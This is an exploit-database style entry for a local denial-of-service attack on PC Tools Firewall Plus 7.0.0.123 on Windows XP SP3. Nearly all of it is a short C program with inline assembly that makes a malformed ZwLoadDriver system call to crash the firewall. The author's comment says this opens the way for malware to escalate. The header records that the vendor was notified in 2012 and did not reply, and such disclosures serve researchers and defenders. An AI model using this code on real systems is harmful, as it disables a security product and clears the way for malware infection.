PC Tools Firewall Plus 7.0.0.123 – Local Denial of Service
/* Exploit Title: PC Tools Firewall Plus Local DoS Version: 7.0.0.123 Author: 0in (Maksymilian Motyl) Software Link: www.pctools.com Tested on: Windows XP SP3 Vendor was notified 25.06.2012 - No reply */ // After executing this small code, PC Tools Firewall crashes so it opens the way to malware escalation #include "stdafx.h" #include <Windows.h> int _tmain(int argc, _TCHAR* argv[]) { for(int i=0;i<512;i++) printf("."); _asm { push 0xffffff mov eax,61h ; ZwLoadDriver mov edx,7FFE0300h ; ntdll.KiFastSystemCall call dword ptr ds:[edx] } return 0; } |